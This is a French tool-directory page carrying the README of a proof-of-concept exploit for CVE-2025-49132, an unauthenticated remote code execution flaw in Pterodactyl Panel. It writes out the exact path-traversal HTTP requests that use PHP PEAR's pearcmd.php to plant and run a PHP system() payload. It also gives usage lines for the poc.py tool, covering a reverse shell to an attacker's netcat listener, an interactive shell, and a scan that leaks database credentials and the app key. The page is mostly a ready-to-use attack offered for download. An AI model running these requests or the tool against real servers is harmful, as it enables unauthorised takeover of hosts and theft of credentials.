Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-49132-PHP-PEAR — CVE-2025-49132_PHP_PEAR_METHOD | Kitploit
Outils/GitHubGitHub/rippsec/cve-2025-49132-php-pear
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHubrippsec/cve-2025-49132-php-pear

CVE-2025-49132-PHP-PEAR

CVE-2025-49132_PHP_PEAR_METHOD

Voir le dépôt
3110il y a 7 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-49132 : RCE non authentifiée sur Pterodactyl Panel via la méthode PHP PEAR

CVSSv3 License Python

Table des matières

  • Vue d'ensemble
  • Détails de la vulnérabilité
  • Analyse technique
  • Déroulement de l'exploit
  • Installation
  • Utilisation
  • Exemples
  • Atténuation
  • Avertissement
  • Références
  • Auteur

Vue d'ensemble

Ce dépôt contient un exploit de preuve de concept (PoC) pour CVE-2025-49132, une vulnérabilité critique d'exécution de code à distance non authentifiée dans Pterodactyl Panel versions antérieures à 1.11.11.

Pterodactyl Panel est un panneau de gestion de serveurs de jeux gratuit et open source développé en PHP. La vulnérabilité permet à un attaquant non authentifié d'exécuter des commandes système arbitraires sur le serveur cible via une gestion inappropriée du point de terminaison /locales/locale.json combinée à la fonctionnalité pearcmd.php de PHP PEAR.

Résumé de la vulnérabilité

  • Identifiant CVE : CVE-2025-49132
  • Score CVSS : 10.0 (Critique)
  • Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CWE : CWE-94 : Contrôle inadéquat de la génération de code (« Injection de code »)
  • Versions concernées : Pterodactyl Panel < 1.11.11
  • Complexité d'attaque : Faible
  • Privilèges requis : Aucun (non authentifié)
  • Interaction utilisateur : Aucune

Détails de la vulnérabilité

Qu'est-ce que PHP PEAR ?

PHP PEAR (PHP Extension and Application Repository) est un framework et un système de distribution pour des composants PHP réutilisables. Il fournit un outil en ligne de commande (pearcmd.php) qui peut être utilisé pour gérer les paquets PEAR.

Le fichier pearcmd.php traite des commandes via des paramètres d'URL et, lorsqu'il est combiné à une traversée de chemin (path traversal), il peut être exploité pour :

  1. Créer des fichiers PHP arbitraires sur le système
  2. Exécuter ces fichiers via le serveur web

Cause racine

La vulnérabilité existe parce que :

  1. Traversée de chemin non validée : le paramètre locale dans /locales/locale.json permet une traversée de chemin sans validation appropriée
  2. Inclusion directe de fichier : l'application inclut directement des fichiers sur la base d'une entrée contrôlée par l'utilisateur
  3. Injection de commande PEAR : le script pearcmd.php accepte la commande +config-create qui peut écrire des fichiers PHP arbitraires
  4. Accès non authentifié : le point de terminaison vulnérable n'exige pas d'authentification

Vecteur d'attaque

Un attaquant peut :

  1. Utiliser la traversée de chemin pour atteindre le répertoire d'installation de PEAR
  2. Abuser de la commande config-create pour écrire du code PHP malveillant dans /tmp
  3. Exécuter le fichier PHP malveillant via le même point de terminaison
  4. Obtenir une exécution de code à distance complète en tant qu'utilisateur du serveur web

Analyse technique

Processus d'exploitation

L'exploit fonctionne en deux étapes :

Étape 1 : Création du payload

GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com

Détail :

  • +config-create+/ — Appelle la fonctionnalité de création de configuration de PEAR
  • locale=../../../../../../usr/share/php/PEAR — Traversée de chemin vers le répertoire PEAR
  • namespace=pearcmd — Cible le fichier pearcmd.php
  • <?=system('id')?>+/tmp/payload.php — Payload PHP et fichier de destination

Étape 2 : Exécution du payload

GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com

Détail :

  • locale=../../../../../../tmp — Traversée de chemin vers le répertoire /tmp
  • namespace=payload — Inclut et exécute payload.php

Pourquoi l'encodage d'URL casse l'exploit

L'exploit nécessite l'envoi de caractères spéciaux (<, >, ?, =) dans l'URL sans les encoder. Si ces caractères sont encodés en URL :

  • <?=system('id')?> devient %3C%3F%3Dsystem%28%27id%27%29%3F%3E
  • PEAR l'interprète comme du texte littéral au lieu de code PHP
  • Les balises PHP ne sont pas reconnues, ce qui empêche l'exécution de code

Déroulement de l'exploit

graph TD
    A[Attacker] -->|1. Path Traversal Request| B[locale.json]
    B -->|2. Traverse to PEAR| C[pearcmd.php]
    C -->|3. config-create Command| D[Write PHP Payload]
    D -->|4. Create File| E[payload.php]
    E -->|5. File Created| F[Server Filesystem]
    
    A -->|6. Execution Request| G[locale.json]
    G -->|7. Traverse to tmp| E
    E -->|8. Include and Execute| H[PHP Interpreter]
    H -->|9. System Command| I[Shell Command]
    I -->|10. Command Output| A
    
    style A fill:#ff6b6b
    style B fill:#4ecdc4
    style C fill:#ffe66d
    style E fill:#ff6b6b
    style H fill:#ff6b6b
    style I fill:#ff6b6b

Schéma du flux d'attaque

sequenceDiagram
    participant Attacker
    participant Web Server
    participant PEAR
    participant Filesystem
    participant PHP Engine
    
    Attacker->>Web Server: GET locale.json with config-create
    Web Server->>PEAR: Path Traversal to pearcmd
    PEAR->>Filesystem: Create payload.php
    Filesystem-->>Attacker: 200 OK
    
    Attacker->>Web Server: GET locale.json with payload namespace
    Web Server->>Filesystem: Path Traversal to payload.php
    Filesystem->>PHP Engine: Include payload
    PHP Engine->>PHP Engine: Execute system command
    PHP Engine-->>Attacker: Command Output RCE

Installation

Prérequis

  • Python 3.6 ou version ultérieure
  • bibliothèque requests

Cloner le dépôt

git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD

Installer les dépendances

pip3 install -r requirements.txt

Ou manuellement :

pip3 install requests

Utilisation

Exécution de commande de base

python3 poc.py -H <target_host> -c "<command>"

Reverse shell

# Sur la machine de l'attaquant, démarrer un écouteur
nc -lvnp 4444

# Exécuter l'exploit avec le reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444

Pseudo-shell interactif

python3 poc.py -H <target_host> --shell

Fuzzing des installations PEAR

python3 poc.py -H <target_host> --fuzz

Scan de vulnérabilité

python3 poc.py -H <target_host> --scan

Vérifie la présence de CVE-2025-49132 via les fuites de configuration (identifiants de base de données, clé d'application).

Chemin PEAR personnalisé

python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"

Sortie détaillée

python3 poc.py -H <target_host> -c "id" -v

Affiche la progression détaillée (création du payload, chemin PEAR, statut d'exécution).

Options complètes

usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
              [-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]
Télécharger l’outil